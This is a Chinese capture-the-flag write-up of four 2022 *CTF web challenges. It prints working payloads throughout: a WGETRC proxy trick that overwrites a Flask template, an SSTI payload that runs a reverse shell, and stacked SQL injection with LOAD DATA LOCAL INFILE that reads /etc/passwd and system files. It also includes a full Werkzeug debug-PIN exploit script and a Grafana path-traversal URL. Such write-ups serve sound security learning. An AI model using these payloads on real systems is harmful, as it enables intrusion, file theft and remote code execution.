2022*CTF-Web
写在前面
XCTF国际赛系列一直不错,周末参与了下这次比赛,虽然没有Java但总体还是蛮有意思
这里没按题目顺序写,只是写了在我心中从上到下的排序,对有源码的题目做了备份
oh-my-lotto
链接: https://pan.baidu.com/s/1G53aYqIIbHGlowdWFhkKqw 提取码: oism
oh-my-lotto
心目中比较有趣的一题呗,重生之我是赌神
这是一个非预期,因为后面又上了个revenge,简单分析下题目,先看看docker内容,可以知道大概的结构
12345678910111213141516171819 |
version: "3" services: lotto: build: context: lotto/ dockerfile: Dockerfile container_name: "lotto" app: build: context: app/ dockerfile: Dockerfile links: - lotto container_name: "app" ports: - "8880:8080" |
之后看看代码,这里面有三个路由,从短到长
首先result路由返回/app/lotto_result.txt
文件内容结果
123456789 |
def result(): if os.path.exists("/app/lotto_result.txt"): lotto_result = open("/app/lotto_result.txt", 'rb').read().decode() else: lotto_result = '' return render_template('result.html', message=lotto_result) |
forecast
路由可以上传一个文件保存到/app/guess/forecast.txt
1234567891011121314 |
def forecast(): message = '' if request.method == 'GET': return render_template('forecast.html') elif request.method == 'POST': if 'file' not in request.files: message = 'Where is your forecast?' file = request.files['file'] file.save('/app/guess/forecast.txt') message = "OK, I get your forecast. Let's Lotto!" return render_template('forecast.html', message=message) |
还有最关键的lotto路由(代码太多就不放完了),可以
1
|
os.system('wget --content-disposition -N lotto')
|
如果预测的值与环境随机生成的相等就能获得flag
12345678910111213141516171819202122232425262728 |
def lotto(): elif request.method == 'POST': //看到flag从环境变量当中取出 flag = os.getenv('flag') lotto_key = request.form.get('lotto_key') or '' lotto_value = request.form.get('lotto_value') or '' lotto_key = lotto_key.upper() if safe_check(lotto_key): os.environ[lotto_key] = lotto_value try: //从内网http://lotto当中获得随机值 os.system('wget --content-disposition -N lotto') if os.path.exists("/app/lotto_result.txt"): lotto_result = open("/app/lotto_result.txt", 'rb').read() else: lotto_result = 'result' if os.path.exists("/app/guess/forecast.txt"): forecast = open("/app/guess/forecast.txt", 'rb').read() else: forecast = 'forecast' if forecast == lotto_result: return flag |
其中内网的lotto页面可以看到就是随机生成20个40以内随机数并返回
123456789101112131415 |
def index(): lotto = [] for i in range(1, 20): n = str(secrets.randbelow(40)) lotto.append(n) r = '\n'.join(lotto) response = make_response(r) response.headers['Content-Type'] = 'text/plain' response.headers['Content-Disposition'] = 'attachment; filename=lotto_result.txt' return responseif __name__ == "__main__": app.run(debug=True, host='0.0.0.0', port=80) |
同时对于我们能控制的环境变量也有过滤safe_check
,那像p牛之前提到的直接RCE就不行了
1234 |
def safe_check(s): if 'LD' in s or 'HTTP' in s or 'BASH' in s or 'ENV' in s or 'PROXY' in s or 'PS' in s: return False return True |
既然题目要求如果预测成功就返回给我flag,那有啥办法能控制吗,这里就用到了PATH
PATH变量
就是用于保存可以搜索的目录路径,如果待运行的程序不在当前目录,操作系统便可以去依次搜索PATH变量
变量中记录的目录,如果在这些目录中找到待运行的程序,操作系统便可以直接运行,前提是有执行权限
那这样就比较简单了,如果我们控制环境变量PATH
,让他找不到wget
,这样wget --content-disposition -N lotto
就会报错导致程序终止,/app/lotto_result.txt
当中的内容就一直是第一次访问,随机生成的那个值了
-
访问/lotto获得第一次的结果
-
访问result页面记录内容下来备用
- 修改环境变量PATH后,发送预测值,再次访问/lotto即可
可以看到确实得到了flag,其中res.txt是第一次环境随机生成的结果
oh-my-lotto-revenge
做了一个修正,就算预测成功也没有结果返回,那就考虑如何rce了
12345 |
if forecast == lotto_result: return "You are right!But where is flag?"else: message = 'Sorry forecast failed, maybe lucky next time!' return render_template('lotto.html', message=message) |
先读文档https://www.gnu.org/software/wget/manual/wget.html
发现有一个WGETRC
,如果我们能够控制环境变量就可以操纵wget的参数了,这里有很多有意思的变量
这里说两个我解决这个问题用到的,一个是http_proxy,很明显如果配置了这个,本来是直接wget访问http://lotto
的就会先到我们这里做一个转发,我们就可以当一个中间人
12 |
http_proxy = stringUse string as HTTP proxy, instead of the one specified in environment. |
做个实验,此时再wget以后,成功接收到这个请求
因此我们只需要控制返回内容即可,那既然可以控制内容了,那能否控制目录呢,正好有output_document,相当于-O
参数
12 |
output_document = fileSet the output filename—the same as ‘-O file’. |
那么我覆盖index.html打SSTI即可
因此得到payload,写入内容为
12 |
http_proxy=http://xxxxxoutput_document = templates/index.html |
控制返回内容为
1
|
{{config.__class__.__init__.__globals__['os'].popen('反弹shell').read()}}
|
1234567891011121314151617181920 |
import requestsdef web(): url = "http://xxx/" r = requests.post(url + "forecast", files={'file': open("/Users/y4tacker/PycharmProjects/pythonProject/lottt/y4.txt", "rb")}) data = { "lotto_key": "WGETRC", "lotto_value": "/app/guess/forecast.txt" } r = requests.post(url + "lotto", data=data) print(r.text)if __name__ == '__main__': web() |
oh-my-notepro
好吧又是黑盒,烦死了
登录后,只有一个创建note的功能点,先是测试了下各种SSTI的payload没啥反应,之后猜测是不是要获取到admin的noteid,首先看到这种又臭又长0pn2jtgnfer9zaijadymsmq347eqmay3
的字符肯定是不能爆破,尝试sql注入,经典单引号报错
尝试回显有五列,但是payload这么简单,毕竟是XCTF肯定不可能sql注入就能从数据库拖出flag(大概率无过滤是不可能这么简单的),当然也确实验证了没有flag,甚至没有admin用户
接下来尝试load_file读文件也不行,后面想去看看一些配置信息,一般我们通过类似show variables like xxx
这样去读,但是其实也可以直接通过sql语句拿到global当中的信息
1
|
select @@global.secure_file_priv
|
好吧真拿你没办法洛
后面发现local_infile开了,不知道这是啥可以看看CSS-T | Mysql Client 任意文件读取攻击链拓展
那么要利用肯定常规的注入不行,只有一个东西能满足,那就是堆叠注入,简单验证下
1
|
http://123.60.72.85:5002/view?note_id=0' union select 1,2,3,4,5;select sleep(2)--+
|
页面确实有延时那验证了我们的猜想,接下来读文件
1
|
http://123.60.72.85:5002/view?note_id=0' union select 1,2,3,4,5; create table y4(t text); load data local infile '/etc/passwd' INTO TABLE y4 LINES TERMINATED BY '\n'--+
|
果然可以bro
那么想要rce只剩一个方法咯,都有报错页面了,算算pin呗
需要:
1.flask所登录的用户名
2.modname-一般固定为flask.app
3.getattr(app, “name”, app.class.name) - 固定,一般为Flask
4.在flask库下app.py的绝对路径,通过报错泄漏
5.当前网络的mac地址的十进制数
6.docker机器id
网上直接抄了一个发现不对,简单看了flask生成pin码的地方,在python3.8/site-packages/werkzeug/debug/__init__.py#get_pin_and_cookie_name
发现python3.8以后从原来的md5改成了sha1
那简单写个利用脚本就好了呗
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960 |
import requestsimport reimport hashlibfrom itertools import chainurl = "http://124.70.185.87:5002/view?note_id="payload1 = "0' union select 1,2,3,4,5; create table y4(t text); load data local infile '/sys/class/net/eth0/address' INTO TABLE y4 LINES TERMINATED BY '\\n'--+"payload2 = "0' union select 1,2,3,4,5; create table yy4(t text); load data local infile '/proc/self/cgroup' INTO TABLE yy4 LINES TERMINATED BY '\\n'--+"payload3 = "0' union select 1,2,3,(select group_concat(t) from y4),1; --+"payload4 = "0' union select 1,2,3,(select group_concat(t) from yy4),1; --+"headers = { "cookie":"session=.eJwVi0EKwyAQAL8ie8mlEE3ArP1MWXdXCE21REsJpX-POcxlhvkB1z09WnlqhjvMkwvKHBktRmfD5J1NKj5EXBDZeppVAi5wg0_VPdNL-7UVEiPUyKw5rZuaYdTG45tq_crQZSumUezhOKRewP8E760nRw.YlqN-g.KZrp8S7tsXPS60cPH88awzRI35Q"}r = requests.get(url+payload1,headers=headers)r = requests.get(url+payload2,headers=headers)probably_public_bits = [ 'ctf'# /etc/passwd 'flask.app',# 默认值 'Flask',# 默认值 '/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到]private_bits = [ str(int(re.search('</h1><pstyle="text-align:center">(.*?)</p></ul>',requests.get(url+payload3,headers=headers).text.replace("\n", "").replace(" ","")).groups()[0].replace(':',''),16)),# /sys/class/net/eth0/address 16进制转10进制 '1cc402dd0e11d5ae18db04a6de87223d'+re.search('</h1><pstyle="text-align:center">(.*?)</p></ul></body></body></html>',requests.get(url+payload4,headers=headers).text.replace("\n", "").replace(" ","")).groups()[0].split(",")[0].split("/")[-1]# /etc/machine-id + /proc/self/cgroup]h = hashlib.sha1()for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit)h.update(b'cookiesalt')cookie_name = '__wzd' + h.hexdigest()[:20]num = Noneif num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9]rv =Noneif rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = numprint(rv) |
oh-my-grafana
之前被爆有任意文件读,不知道有啥插件简单fuzz一下得到
1
|
/public/plugins/alertGroups/../../../../../../../../etc/passwd
|
大概看了下文档看看能读些什么配置
先是读了sqlite,dump下来想看看admin密码来着,尝试很多没破解成功,显然是我不懂密码学
不过后面看到了grafana.ini
,里面泄漏了,好吧还成功登陆了
后台啥都无,不过有个添加数据源的地方,显然这里被注释了,但是真的链接成功了
后面就是任意执行sql语句拿下了,没啥难度
- source:y4tacker
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论